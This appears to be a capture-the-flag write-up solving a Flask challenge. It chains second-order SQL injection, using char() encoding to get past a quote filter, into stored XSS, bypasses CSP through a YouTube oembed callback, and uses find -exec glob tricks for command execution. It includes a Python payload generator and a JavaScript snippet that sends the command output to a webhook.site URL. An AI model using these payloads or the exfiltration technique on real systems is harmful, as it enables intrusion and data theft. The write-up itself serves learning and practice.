We are provided with a vulnerable Flask web server and an admin bot that can visit internal routes for us, the ultimate goal being to run the /readflagbinary executable. The bot report page has an embedded Youtube video saying I'm having a "skill issue".
This setup already strongly hints at XSS. So this is where we will start.
The only value included in a template without escaping is product.creator from a secondary SQL query. Big mistake:
@rating_app.route("/ratings")
def ratings_challenge():
quantity = request.args.get("quantity", "") or '9'
if any(c in quantity for c in ("'", '"', "\\")):
quantity = 7
flash("Warning: Suspicious characters detected in the quantity parameter.")
db = get_db()
sql = f"SELECT id, name, description, user_id FROM products WHERE quantity = {quantity}"
rows = db.execute(sql).fetchall()
[...]
for r in rows:
user_q = f"SELECT id, name FROM users WHERE id = {r['user_id']}" # <- Here
user_row = db.execute(user_q).fetchone()
user_name = user_row['name'] if user_row else "(unknown user)"
[...]
products_with_ratings.append({
"name": r["name"],
"description": r["description"],
"creator": user_name,
"rating": avg_rating
})We can reach to it by using UNION ALL SELECT: -1 UNION ALL SELECT 1, <payload> , turning user_name into arbitrary data.
The endpoint also doesn't like when we use quotes. Thankfully, since this is sqlite, we can encode them with char function. Pass up to 100 character codes to it, concatenate as many as you want with ||, inject.
import urllib.parse
MAX_CHAR_ARGS = 100
def sqlite_str(s: str, max_args: int = MAX_CHAR_ARGS) -> str:
codes = [str(ord(c)) for c in s]
parts = []
for i in range(0, len(codes), max_args):
parts.append("char(" + ",".join(codes[i:i+max_args]) + ")")
return "||".join(parts)
def build_payload(xss: str, fake_pid: int = 9999) -> str:
xss_expr = sqlite_str(xss)
stage2 = f"-1 UNION ALL SELECT 1,{xss_expr}"
stage1 = (
f"-1 UNION ALL SELECT {fake_pid},"
f"{sqlite_str('pwn')},"
f"{sqlite_str('x')},"
f"{sqlite_str(stage2)}"
)
return "/ratings?quantity=" + urllib.parse.quote(stage1, safe="")
if __name__ == "__main__":
a = '<script>alert(1)</script>'
print(build_payload(a))Just as I was about to celebrate, the pesky CSP came in to ruin my day:
But there was another way. Remember the Youtube video from earlier?
There exists a report on how Google services were used in various attacks. It turns out, all we need to do is send <script src="https://www.youtube.com/oembed?format=json&callback=alert(123)></script> and the Youtube-allowing CSP will run our callback.
With working XSS we can finalize our plan: make the admin visit the localhost-only /search path. This endpoint just straight up runs find on the shell with the passed payload. It does limit to only 18 characters and sanitizes the input in a peculiar way:
s = str(payload)
cmds = ['cc', 'gcc ', 'ex ', 'sleep ']
if re.search(r"""[<>mhnpdvq$srl+%kowatf123456789'^@"\\]""", s):
return "Character Not Allowed"
if any(cmd in s for cmd in cmds):
return "Command Not Allowed"but really, at this point, it is barely an obstacle. Pass -exec and match any disallowed characters with globs: -exec /?e????*;, making sure we don't hit /dev or /media. Redirect the bot to our webhook and pass the search result in a query parameter:
(async function () {
const r = await fetch([`/search`],
{
method: `POST`,
headers: { [`Content-Type`]: `application/x-www-form-urlencoded` },
body: `search=` + encodeURIComponent(`-exec /?e????*;`)
}
);
const t = await r.text();
window.location.assign(`https://webhook.site/[...]?d=` + encodeURIComponent(t));
})();Put this script as a callback for Youtube oembed, encode it with sql char(), insert it in the injection, report this path to admin. The flag will be waiting for you in your webhook.